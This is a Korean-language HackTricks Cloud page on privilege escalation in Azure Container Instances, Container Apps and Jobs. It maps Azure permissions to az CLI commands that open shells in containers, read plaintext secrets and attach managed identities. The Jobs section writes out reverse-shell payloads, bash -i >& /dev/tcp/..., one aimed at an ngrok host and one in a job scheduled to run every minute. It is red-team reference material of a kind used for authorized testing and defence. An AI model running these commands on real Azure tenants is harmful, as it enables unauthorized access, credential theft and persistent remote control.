Az - Azure Container Instances, Apps & Jobs Privesc
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Azure Container Instances, Apps & Jobs
자세한 정보는 다음을 확인하세요:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read
, Microsoft.ContainerInstance/containerGroups/containers/exec/action
이 권한은 사용자가 실행 중인 컨테이너에서 명령을 실행할 수 있게 합니다. 이는 컨테이너에 관리되는 ID가 연결되어 있는 경우 권한 상승에 사용될 수 있습니다. 물론, 컨테이너 내부에 저장된 소스 코드 및 기타 민감한 정보에 접근하는 것도 가능합니다.
쉘을 얻는 것은 간단합니다:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
컨테이너의 출력을 읽는 것도 가능합니다:
az container attach --name <container-name> --resource-group <res-group>
로그를 가져오려면:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
이 권한은 사용자 관리형 ID를 컨테이너 그룹에 연결할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다.
사용자 관리형 ID를 컨테이너 그룹에 연결하려면:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
이 권한은 사용자 관리 ID가 연결된 컨테이너 그룹을 생성하거나 업데이트할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다.
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
또한, --command-line
인수를 추가하여 기존 컨테이너 그룹을 업데이트하는 것도 가능합니다. 예를 들어, 리버스 셸을 추가할 수 있습니다.
ACA
Microsoft.App/containerApps/read
, Microsoft.App/managedEnvironments/read
, microsoft.app/containerapps/revisions/replicas
, Microsoft.App/containerApps/revisions/read
, Microsoft.App/containerApps/getAuthToken/action
이 권한은 사용자가 실행 중인 애플리케이션 컨테이너에서 셸을 얻을 수 있게 해줍니다. 이는 컨테이너에 연결된 관리 ID가 있는 경우 권한을 상승시키는 데 사용될 수 있습니다. 물론, 컨테이너 내부에 저장된 소스 코드 및 기타 민감한 정보에 접근하는 것도 가능합니다.
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
이 권한은 컨테이너 앱 내에 구성된 비밀의 일반 텍스트를 가져올 수 있게 해줍니다. 비밀은 일반 텍스트로 구성되거나 키 자격 증명 저장소에 대한 링크로 구성될 수 있습니다(이 경우 앱은 비밀에 대한 액세스 권한이 있는 관리형 ID가 할당됩니다).
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
이 권한은 사용자 관리형 ID를 컨테이너 앱에 연결할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다. az cli에서 이 작업을 실행하려면 Microsoft.App/containerApps/listSecrets/action
권한도 필요합니다.
사용자 관리형 ID를 컨테이너 그룹에 연결하려면:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
이 권한은 사용자 관리 ID가 연결된 애플리케이션 컨테이너를 생성하거나 업데이트할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다.
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
tip
이러한 권한으로 앱의 다른 구성을 수정할 수 있으며, 이는 기존 앱의 구성에 따라 다른 권한 상승 및 사후 활용 공격을 수행할 수 있게 할 수 있습니다.
Jobs
Microsoft.App/jobs/read
, Microsoft.App/jobs/write
작업은 컨테이너 앱처럼 장기 실행되지 않지만, 실행을 시작할 때 작업의 명령 구성을 재정의할 수 있는 능력을 악용할 수 있습니다. 기본 명령을 리버스 셸로 교체하는 등의 사용자 지정 작업 템플릿을 작성함으로써, 작업을 실행하는 컨테이너 내에서 셸 접근을 얻을 수 있습니다.
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read
, Microsoft.App/jobs/listSecrets/action
이 권한이 있으면 Job 컨테이너 내의 모든 비밀(첫 번째 권한)을 나열한 다음 구성된 비밀의 값을 읽을 수 있습니다.
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/jobs/write
작업 구성 수정 권한이 있는 경우, 사용자 할당 관리 ID를 연결할 수 있습니다. 이 ID는 추가 권한(예: 다른 리소스나 비밀에 대한 접근)을 가질 수 있으며, 이를 악용하여 컨테이너 내에서 권한을 상승시킬 수 있습니다.
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read
, Microsoft.App/jobs/write
, Microsoft.App/managedEnvironments/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
새로운 Container Apps Job을 생성(또는 기존의 것을 업데이트)하고 관리형 ID를 연결할 수 있다면, 권한 상승을 위한 페이로드를 실행하도록 작업을 설계할 수 있습니다. 예를 들어, 리버스 셸을 실행할 뿐만 아니라 관리형 ID의 자격 증명을 사용하여 토큰을 요청하거나 다른 리소스에 접근하는 새로운 작업을 생성할 수 있습니다.
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
tip
이 명령은 Microsoft.App/jobs/read
권한이 없으면 오류를 발생시킵니다. 하지만 작업은 생성됩니다.
microsoft.app/jobs/start/action
, microsoft.app/jobs/read
이 권한으로 작업을 시작할 수 있어야 할 것 같습니다. 이는 작업의 구성을 수정할 필요 없이 리버스 셸 또는 기타 악성 명령으로 작업을 시작하는 데 사용될 수 있습니다.
작동하게 만들지는 못했지만 허용된 매개변수에 따르면 가능해야 합니다.
Microsoft.ContainerInstance/containerGroups/restart/action
Azure Container Instances 내에서 특정 컨테이너 그룹을 재시작할 수 있습니다.
az container restart --resource-group <resource-group> --name <container-instances>
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.